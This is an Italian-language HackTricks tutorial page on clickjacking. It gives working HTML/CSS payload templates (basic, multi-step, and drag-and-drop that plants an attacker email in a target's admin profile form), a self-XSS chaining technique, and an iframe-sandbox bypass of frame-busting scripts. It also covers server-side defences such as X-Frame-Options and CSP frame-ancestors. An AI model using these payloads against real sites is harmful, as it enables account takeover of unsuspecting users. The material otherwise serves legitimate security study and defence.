12 KiB
Clickjacking
Impara l'hacking AWS da zero a eroe con htARTE (Esperto Red Team AWS di HackTricks)!
Altri modi per supportare HackTricks:
- Se vuoi vedere la tua azienda pubblicizzata in HackTricks o scaricare HackTricks in PDF Controlla i PIANI DI ABBONAMENTO!
- Ottieni il merchandising ufficiale di PEASS & HackTricks
- Scopri La Famiglia PEASS, la nostra collezione di esclusive NFT
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @carlospolopm.
- Condividi i tuoi trucchi di hacking inviando PR a HackTricks e HackTricks Cloud github repos.
Usa Trickest per costruire facilmente e automatizzare flussi di lavoro supportati dagli strumenti comunitari più avanzati al mondo.
Ottieni l'accesso oggi:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=clickjacking" %}
Cos'è il Clickjacking
In un attacco di clickjacking, un utente viene ingannato a cliccare su un elemento in una pagina web che è invisibile o mascherato come un elemento diverso. Questa manipolazione può portare a conseguenze indesiderate per l'utente, come il download di malware, il reindirizzamento a pagine web dannose, la fornitura di credenziali o informazioni sensibili, trasferimenti di denaro o l'acquisto online di prodotti.
Trucco per precompilare moduli
A volte è possibile riempire il valore dei campi di un modulo utilizzando i parametri GET durante il caricamento di una pagina. Un attaccante potrebbe abusare di questo comportamento per compilare un modulo con dati arbitrari e inviare il payload di clickjacking in modo che l'utente prema il pulsante Invia.
Compilare il modulo con Drag&Drop
Se hai bisogno che l'utente compili un modulo ma non vuoi chiedergli direttamente di scrivere alcune informazioni specifiche (come l'email e/o la password specifica che conosci), puoi semplicemente chiedergli di Trascinare e rilasciare qualcosa che scriverà i tuoi dati controllati come in questo esempio.
Payload di base
<style>
iframe {
position:relative;
width: 500px;
height: 700px;
opacity: 0.1;
z-index: 2;
}
div {
position:absolute;
top:470px;
left:60px;
z-index: 1;
}
</style>
<div>Click me</div>
<iframe src="https://vulnerable.com/email?email=asd@asd.asd"></iframe>
Payload a più passaggi
<style>
iframe {
position:relative;
width: 500px;
height: 500px;
opacity: 0.1;
z-index: 2;
}
.firstClick, .secondClick {
position:absolute;
top:330px;
left:60px;
z-index: 1;
}
.secondClick {
left:210px;
}
</style>
<div class="firstClick">Click me first</div>
<div class="secondClick">Click me next</div>
<iframe src="https://vulnerable.net/account"></iframe>
Payload Drag&Drop + Click
<html>
<head>
<style>
#payload{
position: absolute;
top: 20px;
}
iframe{
width: 1000px;
height: 675px;
border: none;
}
.xss{
position: fixed;
background: #F00;
}
</style>
</head>
<body>
<div style="height: 26px;width: 250px;left: 41.5%;top: 340px;" class="xss">.</div>
<div style="height: 26px;width: 50px;left: 32%;top: 327px;background: #F8F;" class="xss">1. Click and press delete button</div>
<div style="height: 30px;width: 50px;left: 60%;bottom: 40px;background: #F5F;" class="xss">3.Click me</div>
<iframe sandbox="allow-modals allow-popups allow-forms allow-same-origin allow-scripts" style="opacity:0.3"src="https://target.com/panel/administration/profile/"></iframe>
<div id="payload" draggable="true" ondragstart="event.dataTransfer.setData('text/plain', 'attacker@gmail.com')"><h3>2.DRAG ME TO THE RED BOX</h3></div>
</body>
</html>
XSS + Clickjacking
Se hai identificato un attacco XSS che richiede all'utente di fare clic su un elemento per attivare l'XSS e la pagina è vulnerabile al clickjacking, potresti sfruttarlo per ingannare l'utente affinché faccia clic sul pulsante/link.
Esempio:
Hai trovato un self XSS in alcuni dettagli privati dell'account (dettagli che solo tu puoi impostare e leggere). La pagina con il modulo per impostare questi dettagli è vulnerabile al Clickjacking e puoi prepopolare il modulo con i parametri GET.
__Un attaccante potrebbe preparare un attacco di Clickjacking a quella pagina prepopolando il modulo con il payload XSS e ingannando l'utente affinché invii il modulo. Quindi, quando il modulo viene inviato e i valori vengono modificati, l'utente eseguirà l'XSS.
Strategie per Mitigare il Clickjacking
Difese Lato Client
Gli script eseguiti lato client possono eseguire azioni per prevenire il Clickjacking:
- Assicurarsi che la finestra dell'applicazione sia la finestra principale o superiore.
- Rendere tutti i frame visibili.
- Impedire clic sui frame invisibili.
- Rilevare e avvisare gli utenti di possibili tentativi di Clickjacking.
Tuttavia, questi script di frame-busting potrebbero essere elusi:
- Impostazioni di Sicurezza dei Browser: Alcuni browser potrebbero bloccare questi script in base alle loro impostazioni di sicurezza o alla mancanza di supporto JavaScript.
- Attributo HTML5 iframe
sandbox
: Un attaccante può neutralizzare gli script di frame buster impostando l'attributosandbox
con i valoriallow-forms
oallow-scripts
senzaallow-top-navigation
. Questo impedisce all'iframe di verificare se è la finestra principale, ad esempio,
<iframe id="victim_website" src="https://victim-website.com" sandbox="allow-forms allow-scripts"></iframe>
I valori allow-forms
e allow-scripts
abilitano azioni all'interno dell'iframe disabilitando la navigazione di alto livello. Per garantire la funzionalità prevista del sito preso di mira, potrebbero essere necessarie autorizzazioni aggiuntive come allow-same-origin
e allow-modals
, a seconda del tipo di attacco. I messaggi nella console del browser possono guidare su quali autorizzazioni consentire.
Difese lato server
X-Frame-Options
L'header di risposta HTTP X-Frame-Options
informa i browser sulla legittimità del rendering di una pagina in un <frame>
o <iframe>
, contribuendo a prevenire il Clickjacking:
X-Frame-Options: deny
- Nessun dominio può inquadrare il contenuto.X-Frame-Options: sameorigin
- Solo il sito corrente può inquadrare il contenuto.X-Frame-Options: allow-from https://trusted.com
- Solo l'URI specificato può inquadrare la pagina.- Notare le limitazioni: se il browser non supporta questa direttiva, potrebbe non funzionare. Alcuni browser preferiscono la direttiva frame-ancestors di CSP.
Direttiva frame-ancestors di Content Security Policy (CSP)
La direttiva frame-ancestors
in CSP è il metodo consigliato per la protezione dal Clickjacking:
frame-ancestors 'none'
- Simile aX-Frame-Options: deny
.frame-ancestors 'self'
- Simile aX-Frame-Options: sameorigin
.frame-ancestors trusted.com
- Simile aX-Frame-Options: allow-from
.
Ad esempio, la seguente CSP consente solo l'inquadratura dallo stesso dominio:
Content-Security-Policy: frame-ancestors 'self';
Ulteriori dettagli e esempi complessi possono essere trovati nella documentazione CSP frame-ancestors e nella documentazione Mozilla CSP frame-ancestors.
Content Security Policy (CSP) con child-src
e frame-src
Content Security Policy (CSP) è una misura di sicurezza che aiuta a prevenire il Clickjacking e altri attacchi di iniezione di codice specificando da quali fonti il browser dovrebbe consentire il caricamento di contenuti.
Direttiva frame-src
- Definisce le fonti valide per i frame.
- Più specifica della direttiva
default-src
.
Content-Security-Policy: frame-src 'self' https://trusted-website.com;
Questo policy consente frame dalla stessa origine (self) e da https://trusted-website.com.
Direttiva child-src
- Introdotto in CSP livello 2 per impostare origini valide per i web worker e i frame.
- Funziona come fallback per frame-src e worker-src.
Content-Security-Policy: child-src 'self' https://trusted-website.com;
Questo policy consente frame e workers dalla stessa origine (self) e da https://trusted-website.com.
Note sull'Utilizzo:
- Deprecazione: child-src sta venendo gradualmente sostituito da frame-src e worker-src.
- Comportamento di fallback: Se frame-src è assente, child-src viene utilizzato come fallback per i frame. Se entrambi sono assenti, viene utilizzato default-src.
- Definizione di Origine Rigorosa: Includere solo origini attendibili nelle direttive per prevenire l'exploit.
Script JavaScript di Rottura Frame
Anche se non completamente sicuri, gli script di rottura frame basati su JavaScript possono essere utilizzati per impedire che una pagina web venga inserita in un frame. Esempio:
if (top !== self) {
top.location = self.location;
}
Utilizzo dei Token Anti-CSRF
- Validazione del Token: Utilizzare token anti-CSRF nelle applicazioni web per garantire che le richieste che modificano lo stato siano effettuate intenzionalmente dall'utente e non attraverso una pagina Clickjacked.
Riferimenti
- https://portswigger.net/web-security/clickjacking
- https://cheatsheetseries.owasp.org/cheatsheets/Clickjacking_Defense_Cheat_Sheet.html
Utilizza Trickest per costruire facilmente e automatizzare flussi di lavoro supportati dagli strumenti della community più avanzati al mondo.
Ottieni l'accesso oggi:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=clickjacking" %}
Impara l'hacking di AWS da zero a esperto con htARTE (HackTricks AWS Red Team Expert)!
Altri modi per supportare HackTricks:
- Se desideri vedere la tua azienda pubblicizzata in HackTricks o scaricare HackTricks in PDF controlla i PIANI DI ABBONAMENTO!
- Ottieni il merchandising ufficiale di PEASS & HackTricks
- Scopri The PEASS Family, la nostra collezione di esclusive NFT
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @carlospolopm.
- Condividi i tuoi trucchi di hacking inviando PR a HackTricks e ai repository github di HackTricks Cloud.